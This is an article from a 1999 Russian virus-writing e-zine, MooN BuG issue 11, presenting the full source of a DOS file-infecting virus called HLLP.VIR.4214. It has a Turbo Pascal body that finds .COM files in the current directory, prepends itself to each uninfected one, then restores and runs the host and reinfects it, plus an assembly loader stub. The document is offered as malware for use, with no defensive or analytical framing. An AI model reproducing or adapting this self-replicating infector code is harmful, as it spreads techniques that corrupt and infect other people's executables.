╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│ LordDark │008║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║                               HLLP.VIR.4214                                ║
╚════════════════════════════════════════════════════════════════════════════╝

=== Cut ===                                                              v.pas
{$M $4000,0,0 }   { 16K stack, no heap }

uses dos;
const
     virus_size = 4214;
var
     f:file;
     p:pointer;
     my_body: array [1..virus_size] of byte;
     DirInfo: SearchRec;
     size:   word;

procedure infect(name: string);
var
     victim: array [1..3] of char;
begin
     Assign(F, Name);
     {$I-}
     Reset(F, 1);
     {$I+}
     If IOResult <> 0 then Exit;
     If (FileSize(f) < 1000) Or (FileSize(f) > ($FFFF-$100-virus_size)) then
        begin
          Close(f);
          Exit;
        end;
     BlockRead(F, victim, 3);
     If (victim[1] = 'M') or (victim[1] = 'Z') then
        begin
          Close(f);
          Exit;
        end;
     If (victim[1] = 'V') and (victim[2] = 'I') and (victim[3] = 'R') then
        begin
          Close(f);
          Exit;
        end;
     size := FileSize(f);
     GetMem(p, size);
     Seek(f, 0);
     BlockRead(f, p^, size);
     Seek(F, 0);
     BlockWrite(f, my_body, virus_size);
     BlockWrite(f, p^, size);
     freemem(p, size);
     Close(f);
end;

Var
     S: String;
     I: Integer;
begin
     Assign(f, paramstr(0));
     {$I-}
     Reset(f, 1);
     {$I+}
     If IOresult <> 0 then
        begin
             Writeln('Disk write protected!');
             Halt(1);
        end;
     BlockRead(f, my_body, virus_size);
     Close(f);
     FindFirst('*.COM', Archive, DirInfo);
     while DosError = 0 do
     begin
       Infect(DirInfo.Name);
       FindNext(DirInfo);
     end;
     { Запуск хозяина }
     Assign(f, paramstr(0));
     Reset(f, 1);
     Seek(f, virus_size);
     size := FileSize(f)-virus_size;
     GetMem(p, size);
     BlockRead(f, p^, size);
     Seek(f, 0);
     BlockWrite(f, p^, size);
     Truncate(f);
     FreeMem(p, size);
     Close(f);
     S := '';
     For I:=1 To ParamCount Do S := S + ParamStr(I);
     SwapVectors;
     Exec(ParamStr(0),S);
     SwapVectors;
     Infect(ParamStr(0));
end.
=== Cut ===

=== Cut ===                                                              v.asm
.model tiny
.code
org 100h
start:
    db 'VIR'
virussize = 4214
    mov ah, 4Ah
    mov bx, 1000h
    int 21h
    add sp, 4
    mov ax, cs
    add ax, 06554h-629Bh
    mov ss, ax
    mov sp, 4000h
    mov di, 3Dh
    push di
    lea si, copy_body
    mov cx, len_copy_body
    cld
    rep movsb
    lea si, virus
    mov di, 100h
    mov cx, virussize
    mov ax, cs
    add ax, 10h
    ; 102h:0Eh
    mov 2 ptr ds:[ (102h shl 4)+0Fh+virus ], ax
    ret
copy_body:
    rep movsb
    push ax
    sub ax, ax
    push ax
    retf
len_copy_body = ($-copy_body)
    db '!!!'
virus:
    include vv.asb
end start
=== Cut ===